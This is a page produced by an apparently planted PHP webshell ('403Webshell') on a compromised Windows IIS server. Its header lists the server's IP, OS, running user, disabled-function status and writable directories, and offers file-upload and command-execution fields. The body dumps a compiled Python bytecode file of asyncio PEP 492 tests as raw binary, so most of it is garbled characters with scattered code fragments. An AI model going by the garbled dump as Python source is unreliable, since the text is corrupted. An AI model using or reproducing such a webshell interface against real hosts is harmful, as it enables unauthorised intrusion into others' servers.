403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/test/test_asyncio/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/test/test_asyncio/__pycache__/test_pep492.cpython-313.opt-1.pyc
�

��im���SrSSKrSSKrSSKrSSKJr SSKrSSKJr Sr	"SS5r
"SS	\R5r"S
S\5r
"SS
\5r"SS\5r\S:Xa\R""5 gg)z3Tests support for new syntax introduced by PEP 492.�N)�mock)�utilsc�0�[R"S5 g�N)�asyncio�set_event_loop_policy���2C:\Python313\\Lib\test\test_asyncio\test_pep492.py�tearDownModuler
s���!�!�$�'r
c�0�\rSrSrSrSSjrSrSrSrg)	�FakeCoro�c��grr	)�self�values  r�send�
FakeCoro.send���r
Nc��grr	)r�typ�val�tbs    r�throw�FakeCoro.throwrr
c��grr	�rs r�close�FakeCoro.closerr
c#�# �Sv� g7frr	rs r�	__await__�FakeCoro.__await__s���
���r	)NN)	�__name__�
__module__�__qualname__�__firstlineno__rrrr!�__static_attributes__r	r
rrrs��
�
�
�r
rc�(^�\rSrSrU4SjrSrU=r$)�BaseTest� c�f>�[TU]5 [R"5Ul[
R"5URl[
R"5URlSURRRl
URUR5 g)Nr	)�super�setUpr�
BaseEventLoop�loopr�Mock�_process_events�	_selector�select�return_value�set_event_loop)r�	__class__s �rr.�BaseTest.setUp"sj���
��
���)�)�+��	�$(�I�I�K��	�	�!�"�i�i�k��	�	��24��	�	���"�"�/����D�I�I�&r
�r0)r$r%r&r'r.r(�
__classcell__)r7s@rr*r* s
���'�'r
r*c� �\rSrSrSrSrSrg)�	LockTests�+c�H^�[R"5[R"5[R"5[R"5/nU4SjnUHCnTR
R
U"U55 TRUR55 ME g)Nc��># �[R"S5IShv�N TRUR55 UIShv�NnTR	US5 TRUR55 [R"S5IShv�N TRUR55 SSS5IShv�N TRUR55 gN�N�NWN*!,IShv�N(df   N?=f7f)N�{�G�z�?)r�sleep�assertFalse�locked�assertIs�
assertTrue)�lock�_lockrs  �r�test�7LockTests.test_context_manager_async_with.<locals>.test5s������-�-��%�%�%����T�[�[�]�+��t�u��
�
�e�T�*�������
�.��m�m�D�)�)�)�������
�.�	�t�

���T�[�[�]�+�
&��*��t�t�t�sj�D�C*�)D�C,�D�AC2�C.�#C2�:D�C0�%D�,D�.C2�0D�2D	�8C;�9D	�D�	r�Lock�	Condition�	Semaphore�BoundedSemaphorer0�run_until_completerBrC�r�
primitivesrH�	primitives`   r�test_context_manager_async_with�)LockTests.test_context_manager_async_with-su����L�L�N����������$�$�&�	
�
�	,�$�I��I�I�(�(��i��9����Y�-�-�/�0�$r
c�H^�[R"5[R"5[R"5[R"5/nU4SjnUHCnTR
R
U"U55 TRUR55 ME g)Nc��:># �[R"S5IShv�N TRUR55 TR	[
S5 UIShv�N SSS5 SSS5 gNWN!,(df   N=f!,(df   g=f7f)Nr@z#can't be used in 'await' expression)rrArBrC�assertRaisesRegex�	TypeError)rFrs �rrH�7LockTests.test_context_manager_with_await.<locals>.testKsr�����-�-��%�%�%����T�[�[�]�+��'�'��5�� �Z�Z�� �	��
&� �Z��	��sQ�B�A5�9B�B
�A7�B
�"A9�$B
�,
B�7B
�9
B	�B
�

B�BrJrPs`   r�test_context_manager_with_await�)LockTests.test_context_manager_with_awaitCsu����L�L�N����������$�$�&�	
�
�	�$�I��I�I�(�(��i��9����Y�-�-�/�0�$r
r	N)r$r%r&r'rSrZr(r	r
rr<r<+s��1�,1r
r<c��\rSrSrSrSrg)�StreamReaderTests�Zc�^�Sn[R"URS9mTRU5 TR	5 U4SjnURRU"55nUR
U/SQ5 g)Nsline1
line2
line3r9c��V># �/nTShv�NnURU5 MN
U$7fr)�append)�data�line�streams  �r�reader�/StreamReaderTests.test_readline.<locals>.readercs-�����D�$�
"�d����D�!�
"�f��K�s�)�&�$�&�)�&�))sline1
sline2
sline3)r�StreamReaderr0�	feed_data�feed_eofrO�assertEqual)r�DATArerbrds    @r�
test_readline�StreamReaderTests.test_readline\sb���%���%�%�4�9�9�5�����������	��y�y�+�+�F�H�5������A�Br
r	N)r$r%r&r'rlr(r	r
rr]r]Zs��Cr
r]c�D�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rg)�CoroutineTests�mc��SnU"5nUR[R"U55 UR5 UR[R"[	555 g!UR5 f=f)Nc��# �g7frr	r	r
r�foo�,CoroutineTests.test_iscoroutine.<locals>.foop�������)rEr�iscoroutinerr)rrs�fs   r�test_iscoroutine�CoroutineTests.test_iscoroutineosW����E��	��O�O�G�/�/��2�3�
�G�G�I�����+�+�H�J�7�8��
�G�G�I�s�%A/�/Bc�^�SnUR[R"U"555 g)Nc3�# �Sv� g7frr	r	r
rrs�6CoroutineTests.test_iscoroutine_generator.<locals>.foo{s���5�r#)rBrrw�rrss  r�test_iscoroutine_generator�)CoroutineTests.test_iscoroutine_generatorzs �������,�,�S�U�3�4r
c�T�SnUR[R"U55 g)Nc��# �g7frr	r	r
rrs�4CoroutineTests.test_iscoroutinefunction.<locals>.foo�rurv)rEr�iscoroutinefunctionr~s  r�test_iscoroutinefunction�'CoroutineTests.test_iscoroutinefunction�s�������3�3�C�8�9r
c�^�SmU4SjnURRU"55nURUS5 URRS5 URRU"55nURUS5 g)Nc��# �g7f)N�spamr	r	r
r�bar�5CoroutineTests.test_async_def_coroutines.<locals>.bar�s����rvc��.># �T"5IShv�N$N7frr	)r�s�rrs�5CoroutineTests.test_async_def_coroutines.<locals>.foo�s������;��;�s���r�T)r0rOrj�	set_debug)rrsrbr�s   @r�test_async_def_coroutines�(CoroutineTests.test_async_def_coroutines�so���	�	��y�y�+�+�C�E�2������v�&�	
�	�	���D�!��y�y�+�+�C�E�2������v�&r
c�^�U4SjnTR[R"5S5 TRR	S5 TRRU"55 TR[R"5S5 g)Nc��\># �TR[R"5S:�5 g7f�Nr)rE�sys�#get_coroutine_origin_tracking_depthrs�r�start�OCoroutineTests.test_debug_mode_manages_coroutine_origin_tracking.<locals>.start�s �����O�O�C�C�C�E��I�J�s�),rT)rjr�r�r0r�rO)rr�s` r�1test_debug_mode_manages_coroutine_origin_tracking�@CoroutineTests.test_debug_mode_manages_coroutine_origin_tracking�sc���	K�	
����@�@�B�A�F��	�	���D�!��	�	�$�$�U�W�-�����@�@�B�A�Fr
c�^^^�Sm[RU4Sj5mUU4SjnTRRU"55nTR	US5 g)Nc3�$# �SShv�N gN7f)Nr	r�r	r	r
r�gen�0CoroutineTests.test_types_coroutine.<locals>.gen�s����M�M��
�s���c�>�T"5$rr	)r�s�r�func�1CoroutineTests.test_types_coroutine.<locals>.func�s
����5�Lr
c��r># �T"5nTRU[R5 UIShv�N$N7fr)�assertIsInstance�types�_GeneratorWrapper)�wrapperr�rs ��r�coro�1CoroutineTests.test_types_coroutine.<locals>.coro�s-�����f�G��!�!�'�5�+B�+B�C� �=� �=�s�-7�5�7r�)r��	coroutiner0rOrj)rr�rbr�r�s`  @@r�test_types_coroutine�#CoroutineTests.test_types_coroutine�sM���	�
���	�
�	�	!�
�y�y�+�+�D�F�3������v�&r
c�l^^^�SmUU4SjmUUU4SjnTRRU"55 g)Nc��># �TRSS9nTRUSRRS5 Sng!Snf=f7f)N�)�limitrrs)�	get_stackrj�f_code�co_name)rx�Trs ��rrs�1CoroutineTests.test_task_print_stack.<locals>.foo�sC�������!��$�A�
�� � ��1����!4�!4�e�<����D��s�A�)A�A�A�Ac��n># �[R"T"5TRS9mTIShv�N gN7f)Nr9)r�
ensure_futurer0)r�rsrs���r�runner�4CoroutineTests.test_task_print_stack.<locals>.runner�s%�����%�%�c�e�$�)�)�<�A��G�G�s�*5�3�5)r0rO)rr�r�rss` @@r�test_task_print_stack�$CoroutineTests.test_task_print_stack�s(�����	�	�
	
�	�	�$�$�V�X�.r
c��^^�SmUU4SjnTRRS5 TR[SS9 TRR	U"55 SSS5 g!,(df   g=f)Nc��L# �[R"S5IShv�N gN7f)Ng�������?)rrAr	r
r�afunc�/CoroutineTests.test_double_await.<locals>.afunc�s����-�-��$�$�$�s�$�"�$c��># �T"5nTRRU5n[R"S5IShv�N UIShv�N UR	5 gNN!UR	5 f=f7fr�)r0�create_taskrrA�cancel)r��tr�rs  ��rr��0CoroutineTests.test_double_await.<locals>.runner�sZ�����7�D��	�	�%�%�d�+�A�
��m�m�A�&�&�&��
�
����
�'������
�s@�#A9�A$�A �	A$�
A"�A$�A9� A$�"A$�$A6�6A9Tz"coroutine is being awaited already)�msg)r0r��assertRaises�RuntimeErrorrO)rr�r�s` @r�test_double_await� CoroutineTests.test_double_await�s`���	%�	�	
�	�	���D�!�
�
�
��8��:�
�I�I�(�(���2�	:�:�:�s�!A&�&
A4r	N)
r$r%r&r'ryrr�r�r�r�r�r�r(r	r
rroroms+��	9�5�:�
'�G�'�"/�"3r
ro�__main__)�__doc__r�r��unittestrr�test.test_asyncior�
test_utilsrr�TestCaser*r<r]ror$�mainr	r
r�<module>r�s}��9�
�����1�(�
��'�z�"�"�'�,1��,1�^C��C�&c3�X�c3�L�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit